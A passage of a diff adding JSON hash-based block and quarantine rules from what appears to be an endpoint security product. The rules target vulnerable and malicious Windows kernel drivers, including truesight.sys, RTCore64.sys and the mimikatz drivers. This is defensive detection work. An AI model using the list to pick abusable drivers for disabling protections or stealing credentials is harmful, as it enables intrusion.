+  "comment": "Vulnerable Kernel Driver (aka rwdrv.sys) [https://www.loldrivers.io/drivers/b03798af-d25a-400b-9236-4643a802846f/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "82d64303-ca93-567e-848b-5e6a53865f6d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.148980Z",
+  "creation_date": "2026-03-23T11:45:31.148982Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.148990Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dc6f8fab6fb713f0cc635a816bea4b64ba0243624ec880bfe7a9829649a2bfbb",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "82da04eb-23a1-5e82-abdc-a2bd1f12eab6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.477675Z",
+  "creation_date": "2026-03-23T11:45:31.477679Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.477689Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "49375b39428fa7c8e55b0bcdbbbbc27668faa934a401ec91fd88a33ab4b2375d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "82dde3e3-91d9-5ebb-a6df-e79c402e36dd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.466551Z",
+  "creation_date": "2026-03-23T11:45:30.466555Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.466564Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ee525b90053bb30908b5d7bf4c5e9b8b9d6b7b5c9091a26fa25d30d3ad8ef5d0",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "82ded53d-72a6-5963-a6ec-4fa5655c60cd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.147058Z",
+  "creation_date": "2026-03-23T11:45:32.147060Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.147066Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "206f27ae820783b7755bca89f83a0fe096dbb510018dd65b63fc80bd20c03261",
+  "comment": "Vulnerable Kernel Driver (aka NSecKrnl.sys) [https://x.com/anylink20240604/status/1967181190949228608] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "82e629a7-d57f-56b2-abdc-8b2a234fa160",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.146136Z",
+  "creation_date": "2026-03-23T11:45:32.146138Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.146144Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "167730744bd7cb117aae9931f81d20cbd2ec6eee480388c53d2fc973ede920ea",
+  "comment": "Malicious Kernel Driver (aka driver_16773074.sys) [https://www.loldrivers.io/drivers/a0f0d0db-15a2-48e4-af39-50967ee8b541/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "82e85799-6767-5d9a-9086-84111b4537a2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.476800Z",
+  "creation_date": "2026-03-23T11:45:30.476804Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.476813Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e2a330131ca4a9499736fdc72e819a6ff1f883b1c6dc7b83d5b69d288508e0fe",
+  "comment": "Vulnerable Kernel Driver (aka libnicm.sys) [https://www.loldrivers.io/drivers/2b949a0d-939f-456a-a34f-4589d7712227/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "82e9c5c2-ca8e-512a-829f-23b7815fd613",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.608014Z",
+  "creation_date": "2026-03-23T11:45:29.608016Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.608022Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5182caf10de9cec0740ecde5a081c21cdc100d7eb328ffe6f3f63183889fec6b",
+  "comment": "Vulnerable Kernel Driver (aka RTCore64.sys) [https://www.loldrivers.io/drivers/e32bc3da-4db1-4858-a62c-6fbe4db6afbd/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "82efc428-68e5-51da-93a0-77d5150ad7ee",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.826314Z",
+  "creation_date": "2026-03-23T11:45:31.826316Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.826322Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9dfeef1377073421a97c12fc8d6f1de1ef29835b4cae03a2f9347a5e68b3ec62",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "82f16176-a88d-5f84-9c2b-effc1931c29b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.984286Z",
+  "creation_date": "2026-03-23T11:45:29.984288Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.984293Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "457e2eb5ee1def0e336463b7f62dcc02fdde307b817cf750907a5f5465c4dcb7",
+  "comment": "Vulnerable Kernel Driver (aka irec.sys) [https://www.loldrivers.io/drivers/d74fdf19-b4b0-4ec2-9c29-4213b064138b/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "82f36c10-f4f8-5879-b5c6-96147861cbfe",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.820725Z",
+  "creation_date": "2026-03-23T11:45:31.820729Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.820737Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "db5c7773b067c9671fff4b0fbc3c27a2d9fddfd4ca79d2bab56b9619a3de625a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "82f4cd57-63b7-5b48-a3cf-a9682dea8d7d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.812454Z",
+  "creation_date": "2026-03-23T11:45:31.812456Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.812461Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5825bece9c191da9975c36a96a9b507840a54628085f3beb06c8f610d59bb467",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "830dcca3-ad41-5a5b-9dfc-9f1042a24390",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.985412Z",
+  "creation_date": "2026-03-23T11:45:29.985414Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.985419Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "961012d06eeaabd9eff9b36173e566bf148a5c8f743f3329c70d8918eba26093",
+  "comment": "Dangerous Physmem Kernel Driver (aka Se64a.Sys) [https://www.loldrivers.io/drivers/d819bee2-3bff-481f-a301-acc3d1f5fe58/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8311bac2-b999-56f6-9e7f-3282783a7d40",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.816320Z",
+  "creation_date": "2026-03-23T11:45:30.816322Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.816328Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d0e4d3e1f5d5942aaf2c72631e9490eecc4d295ee78c323d8fe05092e5b788eb",
+  "comment": "Vulnerable Kernel Driver (aka ngiodriver.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "831538aa-6315-5a7f-9748-81cb92f646cf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.492002Z",
+  "creation_date": "2026-03-23T11:45:31.492004Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.492009Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5afa53cab2140ac26e16da42fc50a74e0c3a8cd3d44c3803f3168b9f3223ef7c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "83231f59-2a54-5958-bee7-0928e6edba6c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.604861Z",
+  "creation_date": "2026-03-23T11:45:29.604863Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.604868Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c66af86b1c024969f80c1daf1c11ed88467035853083a2abf955e22171c63542",
+  "comment": "Process Hacker driver (aka kprocesshacker.sys) [https://processhacker.sourceforge.io/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "83364ac4-7213-5896-8f72-dde1c1a44db8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.462370Z",
+  "creation_date": "2026-03-23T11:45:30.462373Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.462382Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ed8d68c07947c01ca03d886e6ca795a3f8b2f079e8292f019bba3b97b41eef54",
+  "comment": "Malicious Kernel Driver (aka mimikatz.sys) [https://www.loldrivers.io/drivers/14556074-b235-4378-b356-f58721629d72/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "834cbdee-0c88-58aa-9ddd-5a6c55b2a0a2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.474217Z",
+  "creation_date": "2026-03-23T11:45:30.474220Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.474229Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d130e3e052b09dc154c32c170c227f7baaf74fa7767943478876c744fc3d026d",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "834eb938-6551-571d-a528-4bf90e486883",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.484245Z",
+  "creation_date": "2026-03-23T11:45:31.484249Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.484258Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b446c8359d0d991f332b79adb9591e835a3c4b8fbf874047414f9456e6a728b2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8350dc32-12f7-5ed3-b0db-4948e17739cf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.835737Z",
+  "creation_date": "2026-03-23T11:45:30.835739Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.835745Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "82363ae5ac1f8f33cb83fbf9405fac2d77aa754e1e8a88a517656f19c0d12e67",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "83575387-f3ee-5e60-a7bc-4a52d242b24d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.971839Z",
+  "creation_date": "2026-03-23T11:45:29.971841Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.971847Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "25c423b2170e7cb44134da651e87708631be0c9db8713c0bdb7b917c76c338a7",
+  "comment": "Intel Ethernet diagnostics vulnerable driver (aka iQVW64.sys) [CVE-2015-2291] [https://www.loldrivers.io/drivers/1d2cdef1-de44-4849-80e5-e2fa288df681/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "83591fac-4d50-5ccb-ac60-934e7c3f7518",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.467151Z",
+  "creation_date": "2026-03-23T11:45:30.467154Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.467164Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6416ea9d2a15899dbf4a98b70bdedb4cc6eaf748c14c554b26ae2fe57ef8aa2a",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8360097e-3230-5dff-b5d2-c72120081da4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.611601Z",
+  "creation_date": "2026-03-23T11:45:29.611603Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.611608Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3ce4a30668938fb7785c9958772e3c171af320ecfea8fc298160e80fbf80fb73",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8360b943-3852-55e4-a030-f7ec7a7d0b8b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
